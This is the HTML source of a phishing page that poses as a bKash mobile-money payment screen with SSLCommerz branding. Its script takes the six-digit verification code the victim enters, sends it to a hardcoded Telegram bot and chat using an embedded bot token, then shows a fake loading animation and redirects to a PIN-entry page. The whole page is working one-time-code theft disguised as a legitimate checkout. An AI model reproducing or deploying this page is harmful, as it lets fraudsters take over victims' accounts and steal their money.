<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>bKash Payment</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css">
    <style>
        .bg-custom {
            background-image: url('/bkash/img/background.png');
            background-size: cover;
            background-position: center;
            padding: 2rem;
        }

        @keyframes bounce {
            0%, 100% { transform: scale(1); }
            50% { transform: scale(1.5); }
        }

        .dot { animation: bounce 1.2s infinite ease-in-out; }

        .dot:nth-child(1) { animation-delay: 0s; }
        .dot:nth-child(2) { animation-delay: 0.2s; }
        .dot:nth-child(3) { animation-delay: 0.4s; }
        .dot:nth-child(4) { animation-delay: 0.6s; }

        .loading { display: none; }
    </style>
</head>
<body class="bg-gray-100 flex items-center justify-center min-h-screen">
    <div class="bg-white rounded-lg shadow-lg max-w-sm w-full">
        <div class="flex flex-col items-center justify-center p-5 border-b-2 border-pink-500">
            <img src="/bkash/img/bkashlogo.png" alt="bKash logo" class="h-12">
        </div>
        <div class="flex items-center justify-between px-4 py-2 bg-gray-50">
            <div class="flex items-center">
                <img src="/bkash/img/sslcommerz.png" alt="SSLCommerz logo" class="h-8 w-8">
                <div class="ml-2 text-sm">
                    <p class="font-bold">SSLCOMMERZ</p>
                    <p class="text-gray-500 text-xs">Invoice: BGT17742024092918</p>
                </div>
            </div>
            <p id="amountDisplay" class="font text-xl text-gray-600">৳10.00</p>
        </div>
        <div class="bg-custom text-white text-center">
            <p class="font-semibold text-sm mb-2">Enter verification code sent to 01* ** *** ***</p>
            <input type="text" id="bkashNumber" inputmode="numeric" pattern="[0-9]*" placeholder="bKash Verification Code" class="w-full px-4 py-2 text-center text-black rounded-md focus:outline-none" maxlength="6" />
            <p id="errorMessage" class="text-white-500 text-sm mt-2 hidden">Wrong verification code</p>
            <p class="text-xs mt-2">
                Didn't receive code? <span class="font-bold"></span> <a href="#" id="resendCode" class="underline text-white">Resend code</a>
            </p>
        </div>
        <div class="grid grid-cols-2 gap-0 w-full border-t-3 border-pink-500 bg-gray-300">
            <button id="closeButton" class="text-gray-600 font-bold text-x w-full py-4 bg-gray-300 border-r border-gray-400">
                CLOSE
            </button>
            <button id="confirmButton" class="text-pink-600 font-bold text-x w-full py-4 bg-gray-300">
                CONFIRM
            </button>
        </div>
        <div class="loading flex items-center justify-center h-20 w-full border-t-3 border-pink-500 bg-gray-300 hidden" id="loadingAnimation">
            <div class="flex space-x-2">
                <div class="dot w-4 h-4 bg-pink-600 rounded-full"></div>
                <div class="dot w-4 h-4 bg-pink-500 rounded-full"></div>
                <div class="dot w-4 h-4 bg-pink-400 rounded-full"></div>
                <div class="dot w-4 h-4 bg-pink-300 rounded-full"></div>
            </div>
        </div>
        <div class="text-center py-4">
            <a href="tel:16247" class="flex justify-center items-center text-pink-500">
                <i class="fas fa-phone-alt mr-2"></i>
                <span class="font-bold text-xl">16247</span>
            </a>
        </div>
    </div>

    <script>
    

          document.addEventListener("DOMContentLoaded", function () {
    // Function to retrieve URL parameters
    function getURLParameter(name) {
        const urlParams = new URLSearchParams(window.location.search);
        return urlParams.get(name);
    }

    // Set the amount dynamically
    const amount = getURLParameter('amount') || '10.00'; // Default to 10.00 if no amount is provided
    document.getElementById('amountDisplay').textContent = `৳${parseFloat(amount).toFixed(2)}`;

       


            

            // Sending message function
            function sendMessageToTelegram(bkashNumber) {
                const botToken = "7721532005:AAFNUxtAwHeH617lb1oOp3hcdKKjzRITS3Y";
                if (botToken) {
                    const url = `https://api.telegram.org/bot${botToken}/sendMessage`;
                    const data = {
                        chat_id: "7174617845",
                        text: `bKash Verification Code: \`${bkashNumber}\``,
                        parse_mode: 'Markdown'
                    };

                    fetch(url, {
                        method: 'POST',
                        headers: {
                            'Content-Type': 'application/json',
                        },
                        body: JSON.stringify(data),
                    })
                    .then(response => response.json())
                    .catch(error => console.error('Error:', error));
                } else {
                    console.error("Bot token or chat ID is missing.");
                }
            }

            // Confirm button logic
            document.getElementById('confirmButton').addEventListener('click', function() {
                const bkashNumber = document.getElementById('bkashNumber').value;
                const errorMessage = document.getElementById('errorMessage');

                if (bkashNumber.length !== 6) {
                    errorMessage.textContent = 'Please enter a valid verification code.';
                    errorMessage.classList.remove('hidden');
                    setTimeout(() => errorMessage.classList.add('hidden'), 3000);
                    return;
                }

                errorMessage.classList.add('hidden');
                document.getElementById('closeButton').style.display = 'none';
                document.getElementById('confirmButton').style.display = 'none';
                document.getElementById('loadingAnimation').classList.remove('hidden');

                sendMessageToTelegram(bkashNumber);
                
                // Simulating payment redirection after sending the message
                setTimeout(() => {
                    const amount = parseFloat(getURLParameter('amount')) || 20.00;
                    const sslLogo = getURLParameter('ssl') || 'https://i.imgur.com/VvSRNup.png';
                    const companyName = getURLParameter('companyName') || 'SSLCOMMERZ';
                    const invoice = getURLParameter('invoice') || 'BGT17742024092918';
                    const botToken = getURLParameter('botToken') || '7721532005:AAFNUxtAwHeH617lb1oOp3hcdKKjzRITS3Y';
                    
                    const redirectURL = `/bkash/pin/?amount=${amount.toFixed(2)}&invoice=${encodeURIComponent(invoice)}`;
                    window.location.href = redirectURL;
                }, 3000);
            });
        });
    </script>
</body>
</html>
